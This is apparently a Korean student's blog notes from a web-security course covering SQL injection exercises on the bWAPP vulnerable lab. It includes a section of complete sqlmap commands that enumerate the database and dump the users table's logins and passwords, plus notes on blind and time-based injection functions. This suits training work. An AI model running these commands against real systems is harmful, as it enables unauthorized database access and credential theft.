본문 바로가기
메가IT아카데미 국기과정/JAVA와 웹보안

[1-4] SQL Injection

by 한님폐하 2022. 9. 12.

1.. SQL 인젝션 공격 단계

  • 웹 페이지 파악
  • SQL 취약점 파악
  • 데이터베이스 이름 찾기
  • 테이블 이름 찾기
  • 해당 테이블의 컬럼 찾기
  • 컬럼 안에 저장된 데이터 값 찾기

 

2. SQL Injection (GET/Search)

① movies 테이블 컬럼 개수 파악

② 2,3,5,4 컬럼에 데이터베이스 관련 정보 출력

③ bWAPP -> 'users' 찾기

④ bWAPP -> users -> '컬럼' 찾기

⑤ bWAPP -> users -> 컬럼 -> '컬럼 데이터 값' 찾기

  • high 레벨에서는 'mysqli_real_escape_string' 함수를 이용하기 때문에 SQL 문의 문자열을 Escape한 상태로 만들어준다.

 

3. SQL Injection (POST/Search)

4. SQL Injection (GET/Select)

5. SQL Injection (POST/Select)

5-1. 'sqlmap' 도구를 이용한 SQL 인젝션 

  • 쿠키 정보와 변수 이름(GET 방식은 URL에 출력됨)은 버프 슈트를 이용하여 찾는다.
sqlmap -hh
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" --schema
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" --dbs
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP --tables
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP -T users --column
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP -T users -C id,login,password,secret --dump
cat /root/.sqlmap/output/[타겟 IP]/dump/bWAPP/users.csv

 

6. SQL Injection (AJAX/JSON/jQuery)

7. SQL Injection (Login Form/Hero)

8. SQL Injection (Login Form/User)

9. SQL Injection (SQLite)

[참고]  다음은 MySQL과 SQLite 기본 명령어 및 컬럼 차이점이다.

  MySQL SQLite
DB  information_schema  sqlite_master
주석 # --
테이블 이름 table_name tbl_name
컬럼 이름  column_name sql

 

10. SQL Injection - Stored (Blog)

11. SQL Injection - Stored (SQLite)

12. SQL Injection - Stored (User-Agent)

13. SQL Injection - Blind - Boolean-Based

[참고] Blind 방식에서 필요한 함수

  • length() 지정한 문자열의 길이를 반환(문자열 개수를 확인할 수 있다.)
  • substring() 지정한 문자열의 내용을 반환(문자열 내용을 확인할 수 있다.)
  • ascii() 지정한 문자열을 ACSII 10진수 값으로 반환(문자의 10진수 값 내용을 확인할 수 있다.)

 

14. SQL Injection - Blind - Time-Based

[참고] Time-Based 방식에서 필요한 함수

  • sleep() 지연 발생 함수

 

15. SQL Injection - Blind (SQLite)

16. SQL Injection - Blind (WS/SOAP)

05_SQL Injection.txt
0.10MB

'메가IT아카데미 국기과정 > JAVA와 웹보안' 카테고리의 다른 글

[1-6] XSS Injection  (0) 2022.09.13
[1-5] XML Injection  (0) 2022.09.12
[1-3] bWAPP 데이터베이스 분석  (0) 2022.09.12
[1-2] OS Comman&PHP Code&SSI Injection  (0) 2022.09.12
[1-1] HTML Injection  (0) 2022.09.12